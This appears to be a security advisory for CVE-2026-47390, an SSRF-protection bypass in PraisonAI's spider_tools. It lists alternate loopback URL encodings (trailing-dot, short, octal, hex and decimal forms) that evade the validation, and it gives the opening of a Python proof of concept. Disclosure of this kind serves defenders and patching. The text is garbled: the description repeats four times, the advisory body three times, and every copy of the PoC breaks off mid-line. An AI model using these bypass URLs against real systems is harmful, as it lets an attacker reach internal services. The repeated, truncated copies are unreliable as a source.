CVE-2026-47390

PraisonAI is a multi-agent teams system. Prior to version 4.6.40 of PraisonAI, corresponding to version 1.6.40 of praisonaiagents, spider_tools URL validation can be bypassed using alternate loopback host encodings. The tool contains a URL validation function intended to block local or unsafe targets before fetching attacker-controlled URLs. However, the validation only blocks a small set of exact host strings such as localhost and 127.0.0.1. It does not normalize hostnames, resolve DNS, parse numeric IPv4 variants, or validate the final resolved IP address before making the request. As a result, certain URLs may bypass the protection and still reach loopback services. After the weak validation passes, scrape_page() calls requests.Session.get() on the attacker-controlled URL. This allows an attacker who can influence URLs passed to scrape_page, crawl, or extract_text to induce SSRF requests against loopback-only services. This is a server-side request forgery protection bypass. PraisonAI version 4.6.40 and praisonaiagents version 1.6.40 contain a patch.

PraisonAI is a multi-agent teams system. Prior to version 4.6.40 of PraisonAI, corresponding to version 1.6.40 of praisonaiagents, spider_tools URL validation can be bypassed using alternate loopback host encodings. The tool contains a URL validation function intended to block local or unsafe targets before fetching attacker-controlled URLs. However, the validation only blocks a small set of exact host strings such as localhost and 127.0.0.1. It does not normalize hostnames, resolve DNS, parse numeric IPv4 variants, or validate the final resolved IP address before making the request. As a result, certain URLs may bypass the protection and still reach loopback services. After the weak validation passes, scrape_page() calls requests.Session.get() on the attacker-controlled URL. This allows an attacker who can influence URLs passed to scrape_page, crawl, or extract_text to induce SSRF requests against loopback-only services. This is a server-side request forgery protection bypass. PraisonAI version 4.6.40 and praisonaiagents version 1.6.40 contain a patch.

Summary

PraisonAI's spider_tools URL validation can be bypassed using alternate loopback host encodings.

The affected component is:

praisonaiagents/tools/spider_tools.py

The tool contains a URL validation function intended to block local or unsafe targets before fetching attacker-controlled URLs. However, the validation only blocks a small set of exact host strings such as localhost and 127.0.0.1.

It does not normalize hostnames, resolve DNS, parse numeric IPv4 variants, or validate the final resolved IP address before making the request.

As a result, URLs such as the following bypass the protection and still reach loopback services:

http://localhost.:8765/
http://127.1:8765/
http://0177.0.0.1:8765/
http://0x7f000001:8765/
http://2130706433:8765/

After the weak validation passes, scrape_page() calls requests.Session.get() on the attacker-controlled URL. This allows an attacker who can influence URLs passed to scrape_page, crawl, or extract_text to induce SSRF requests against loopback-only services.

This is a server-side request forgery protection bypass.

Details

The affected code is in:

praisonaiagents/tools/spider_tools.py

The vulnerable flow is:

attacker-controlled URL
  -> spider_tools._validate_url(...)
  -> weak exact-host blocklist check
  -> validation passes for alternate loopback encodings
  -> scrape_page(...)
  -> requests.Session.get(attacker_url)
  -> loopback service is reached

The validation appears to block only exact local hostnames or exact IPv4 strings. For example, it blocks simple forms such as:

localhost
127.0.0.1

However, equivalent loopback forms are not rejected before the request is made.

Confirmed bypass examples:

http://localhost.:8765/
http://127.1:8765/
http://0177.0.0.1:8765/
http://0x7f000001:8765/
http://2130706433:8765/

These values can resolve or be interpreted as loopback addresses by the HTTP client / underlying networking stack, while bypassing the string-based validation.

The issue is not that spider_tools can fetch arbitrary URLs. The issue is that it attempts to provide SSRF protection, but the protection can be bypassed with alternate representations of loopback addresses.

PoC

The following PoC is non-destructive. It starts a local HTTP server on 127.0.0.1:8765, then sends several alternate loopback URL forms through the real spider_tools validation/fetch path.

The expected secure behavior is that all loopback variants should be rejected before any HTTP request is made.

The actual vulnerable behavior is that the alternate loopback forms pass validation and reach the local server.

Full PoC

#!/usr/bin/env python3
"""PoC for PraisonAI spider_tools localhost-alias SSRF bypass."""

from __future__ import annotations

import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from pathlib import Path


REPO_ROOT = Path(__file__).resolve().parents[3] / "repos" / "praisonai"
AGENTS_ROOT = REPO_ROOT / "src" / "praisonai-agents"
SPIDER_TOOLS = AGENTS_ROOT / "praisonaiagents/tools/spider_tools.py"


def verify_source() -> None:
    expected = [
        "def _validate_url",
        "requests.Session",
        ".get(",
    ]

    text = SPIDER_TOOLS.read_text(encoding="utf-8")
    for needle in expected:
        if needle not in text:
            raise RuntimeError(f"source verification failed: {needle!r} not found in {SPIDER_TOOLS}")


class LocalHandler(BaseHTTPRequestHandler):
    hits: list[tuple[str, str | None]] = []
    body = b"LOCAL-SPIDER-SSRF-SECRET"

    def do_GET(self) -> None:  # noqa: N802
        self.__class__.hits.append((self.path, self.headers.get("Host")))
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(self.body)))
        self.end_headers()
        self.wfile.write(self.body)

    def log_message(self, format:…

PraisonAI is a multi-agent teams system. Prior to version 4.6.40 of PraisonAI, corresponding to version 1.6.40 of praisonaiagents, spider_tools URL validation can be bypassed using alternate loopback host encodings. The tool contains a URL validation function intended to block local or unsafe targets before fetching attacker-controlled URLs. However, the validation only blocks a small set of exact host strings such as localhost and 127.0.0.1. It does not normalize hostnames, resolve DNS, parse numeric IPv4 variants, or validate the final resolved IP address before making the request. As a result, certain URLs may bypass the protection and still reach loopback services. After the weak validation passes, scrape_page() calls requests.Session.get() on the attacker-controlled URL. This allows an attacker who can influence URLs passed to scrape_page, crawl, or extract_text to induce SSRF requests against loopback-only services. This is a server-side request forgery protection bypass. PraisonAI version 4.6.40 and praisonaiagents version 1.6.40 contain a patch.

PraisonAI is a multi-agent teams system. Prior to version 4.6.40 of PraisonAI, corresponding to version 1.6.40 of praisonaiagents, spider_tools URL validation can be bypassed using alternate loopback host encodings. The tool contains a URL validation function intended to block local or unsafe targets before fetching attacker-controlled URLs. However, the validation only blocks a small set of exact host strings such as localhost and 127.0.0.1. It does not normalize hostnames, resolve DNS, parse numeric IPv4 variants, or validate the final resolved IP address before making the request. As a result, certain URLs may bypass the protection and still reach loopback services. After the weak validation passes, scrape_page() calls requests.Session.get() on the attacker-controlled URL. This allows an attacker who can influence URLs passed to scrape_page, crawl, or extract_text to induce SSRF requests against loopback-only services. This is a server-side request forgery protection bypass. PraisonAI version 4.6.40 and praisonaiagents version 1.6.40 contain a patch.

Summary

PraisonAI's spider_tools URL validation can be bypassed using alternate loopback host encodings.

The affected component is:

praisonaiagents/tools/spider_tools.py

The tool contains a URL validation function intended to block local or unsafe targets before fetching attacker-controlled URLs. However, the validation only blocks a small set of exact host strings such as localhost and 127.0.0.1.

It does not normalize hostnames, resolve DNS, parse numeric IPv4 variants, or validate the final resolved IP address before making the request.

As a result, URLs such as the following bypass the protection and still reach loopback services:

http://localhost.:8765/
http://127.1:8765/
http://0177.0.0.1:8765/
http://0x7f000001:8765/
http://2130706433:8765/

After the weak validation passes, scrape_page() calls requests.Session.get() on the attacker-controlled URL. This allows an attacker who can influence URLs passed to scrape_page, crawl, or extract_text to induce SSRF requests against loopback-only services.

This is a server-side request forgery protection bypass.

Details

The affected code is in:

praisonaiagents/tools/spider_tools.py

The vulnerable flow is:

attacker-controlled URL
  -> spider_tools._validate_url(...)
  -> weak exact-host blocklist check
  -> validation passes for alternate loopback encodings
  -> scrape_page(...)
  -> requests.Session.get(attacker_url)
  -> loopback service is reached

The validation appears to block only exact local hostnames or exact IPv4 strings. For example, it blocks simple forms such as:

localhost
127.0.0.1

However, equivalent loopback forms are not rejected before the request is made.

Confirmed bypass examples:

http://localhost.:8765/
http://127.1:8765/
http://0177.0.0.1:8765/
http://0x7f000001:8765/
http://2130706433:8765/

These values can resolve or be interpreted as loopback addresses by the HTTP client / underlying networking stack, while bypassing the string-based validation.

The issue is not that spider_tools can fetch arbitrary URLs. The issue is that it attempts to provide SSRF protection, but the protection can be bypassed with alternate representations of loopback addresses.

PoC

The following PoC is non-destructive. It starts a local HTTP server on 127.0.0.1:8765, then sends several alternate loopback URL forms through the real spider_tools validation/fetch path.

The expected secure behavior is that all loopback variants should be rejected before any HTTP request is made.

The actual vulnerable behavior is that the alternate loopback forms pass validation and reach the local server.

Full PoC

#!/usr/bin/env python3
"""PoC for PraisonAI spider_tools localhost-alias SSRF bypass."""

from __future__ import annotations

import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from pathlib import Path


REPO_ROOT = Path(__file__).resolve().parents[3] / "repos" / "praisonai"
AGENTS_ROOT = REPO_ROOT / "src" / "praisonai-agents"
SPIDER_TOOLS = AGENTS_ROOT / "praisonaiagents/tools/spider_tools.py"


def verify_source() -> None:
    expected = [
        "def _validate_url",
        "requests.Session",
        ".get(",
    ]

    text = SPIDER_TOOLS.read_text(encoding="utf-8")
    for needle in expected:
        if needle not in text:
            raise RuntimeError(f"source verification failed: {needle!r} not found in {SPIDER_TOOLS}")


class LocalHandler(BaseHTTPRequestHandler):
    hits: list[tuple[str, str | None]] = []
    body = b"LOCAL-SPIDER-SSRF-SECRET"

    def do_GET(self) -> None:  # noqa: N802
        self.__class__.hits.append((self.path, self.headers.get("Host")))
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(self.body)))
        self.end_headers()
        self.wfile.write(self.body)

    def log_message(self, format:…

Summary

PraisonAI's spider_tools URL validation can be bypassed using alternate loopback host encodings.

The affected component is:

praisonaiagents/tools/spider_tools.py

The tool contains a URL validation function intended to block local or unsafe targets before fetching attacker-controlled URLs. However, the validation only blocks a small set of exact host strings such as localhost and 127.0.0.1.

It does not normalize hostnames, resolve DNS, parse numeric IPv4 variants, or validate the final resolved IP address before making the request.

As a result, URLs such as the following bypass the protection and still reach loopback services:

http://localhost.:8765/
http://127.1:8765/
http://0177.0.0.1:8765/
http://0x7f000001:8765/
http://2130706433:8765/

After the weak validation passes, scrape_page() calls requests.Session.get() on the attacker-controlled URL. This allows an attacker who can influence URLs passed to scrape_page, crawl, or extract_text to induce SSRF requests against loopback-only services.

This is a server-side request forgery protection bypass.

Details

The affected code is in:

praisonaiagents/tools/spider_tools.py

The vulnerable flow is:

attacker-controlled URL
  -> spider_tools._validate_url(...)
  -> weak exact-host blocklist check
  -> validation passes for alternate loopback encodings
  -> scrape_page(...)
  -> requests.Session.get(attacker_url)
  -> loopback service is reached

The validation appears to block only exact local hostnames or exact IPv4 strings. For example, it blocks simple forms such as:

localhost
127.0.0.1

However, equivalent loopback forms are not rejected before the request is made.

Confirmed bypass examples:

http://localhost.:8765/
http://127.1:8765/
http://0177.0.0.1:8765/
http://0x7f000001:8765/
http://2130706433:8765/

These values can resolve or be interpreted as loopback addresses by the HTTP client / underlying networking stack, while bypassing the string-based validation.

The issue is not that spider_tools can fetch arbitrary URLs. The issue is that it attempts to provide SSRF protection, but the protection can be bypassed with alternate representations of loopback addresses.

PoC

The following PoC is non-destructive. It starts a local HTTP server on 127.0.0.1:8765, then sends several alternate loopback URL forms through the real spider_tools validation/fetch path.

The expected secure behavior is that all loopback variants should be rejected before any HTTP request is made.

The actual vulnerable behavior is that the alternate loopback forms pass validation and reach the local server.

Full PoC

#!/usr/bin/env python3
"""PoC for PraisonAI spider_tools localhost-alias SSRF bypass."""

from __future__ import annotations

import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from pathlib import Path


REPO_ROOT = Path(__file__).resolve().parents[3] / "repos" / "praisonai"
AGENTS_ROOT = REPO_ROOT / "src" / "praisonai-agents"
SPIDER_TOOLS = AGENTS_ROOT / "praisonaiagents/tools/spider_tools.py"


def verify_source() -> None:
    expected = [
        "def _validate_url",
        "requests.Session",
        ".get(",
    ]

    text = SPIDER_TOOLS.read_text(encoding="utf-8")
    for needle in expected:
        if needle not in text:
            raise RuntimeError(f"source verification failed: {needle!r} not found in {SPIDER_TOOLS}")


class LocalHandler(BaseHTTPRequestHandler):
    hits: list[tuple[str, str | None]] = []
    body = b"LOCAL-SPIDER-SSRF-SECRET"

    def do_GET(self) -> None:  # noqa: N802
        self.__class__.hits.append((self.path, self.headers.get("Host")))
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(self.body)))
        self.end_headers()
        self.wfile.write(self.body)

    def log_message(self, format:…

Summary

PraisonAI's spider_tools URL validation can be bypassed using alternate loopback host encodings.

The affected component is:

praisonaiagents/tools/spider_tools.py

The tool contains a URL validation function intended to block local or unsafe targets before fetching attacker-controlled URLs. However, the validation only blocks a small set of exact host strings such as localhost and 127.0.0.1.

It does not normalize hostnames, resolve DNS, parse numeric IPv4 variants, or validate the final resolved IP address before making the request.

As a result, URLs such as the following bypass the protection and still reach loopback services:

http://localhost.:8765/
http://127.1:8765/
http://0177.0.0.1:8765/
http://0x7f000001:8765/
http://2130706433:8765/

After the weak validation passes, scrape_page() calls requests.Session.get() on the attacker-controlled URL. This allows an attacker who can influence URLs passed to scrape_page, crawl, or extract_text to induce SSRF requests against loopback-only services.

This is a server-side request forgery protection bypass.

Details

The affected code is in:

praisonaiagents/tools/spider_tools.py

The vulnerable flow is:

attacker-controlled URL
  -> spider_tools._validate_url(...)
  -> weak exact-host blocklist check
  -> validation passes for alternate loopback encodings
  -> scrape_page(...)
  -> requests.Session.get(attacker_url)
  -> loopback service is reached

The validation appears to block only exact local hostnames or exact IPv4 strings. For example, it blocks simple forms such as:

localhost
127.0.0.1

However, equivalent loopback forms are not rejected before the request is made.

Confirmed bypass examples:

http://localhost.:8765/
http://127.1:8765/
http://0177.0.0.1:8765/
http://0x7f000001:8765/
http://2130706433:8765/

These values can resolve or be interpreted as loopback addresses by the HTTP client / underlying networking stack, while bypassing the string-based validation.

The issue is not that spider_tools can fetch arbitrary URLs. The issue is that it attempts to provide SSRF protection, but the protection can be bypassed with alternate representations of loopback addresses.

PoC

The following PoC is non-destructive. It starts a local HTTP server on 127.0.0.1:8765, then sends several alternate loopback URL forms through the real spider_tools validation/fetch path.

The expected secure behavior is that all loopback variants should be rejected before any HTTP request is made.

The actual vulnerable behavior is that the alternate loopback forms pass validation and reach the local server.

Full PoC

#!/usr/bin/env python3
"""PoC for PraisonAI spider_tools localhost-alias SSRF bypass."""

from __future__ import annotations

import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from pathlib import Path


REPO_ROOT = Path(__file__).resolve().parents[3] / "repos" / "praisonai"
AGENTS_ROOT = REPO_ROOT / "src" / "praisonai-agents"
SPIDER_TOOLS = AGENTS_ROOT / "praisonaiagents/tools/spider_tools.py"


def verify_source() -> None:
    expected = [
        "def _validate_url",
        "requests.Session",
        ".get(",
    ]

    text = SPIDER_TOOLS.read_text(encoding="utf-8")
    for needle in expected:
        if needle not in text:
            raise RuntimeError(f"source verification failed: {needle!r} not found in {SPIDER_TOOLS}")


class LocalHandler(BaseHTTPRequestHandler):
    hits: list[tuple[str, str | None]] = []
    body = b"LOCAL-SPIDER-SSRF-SECRET"

    def do_GET(self) -> None:  # noqa: N802
        self.__class__.hits.append((self.path, self.headers.get("Host")))
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(self.body)))
        self.end_headers()
        self.wfile.write(self.body)

    def log_message(self, format:…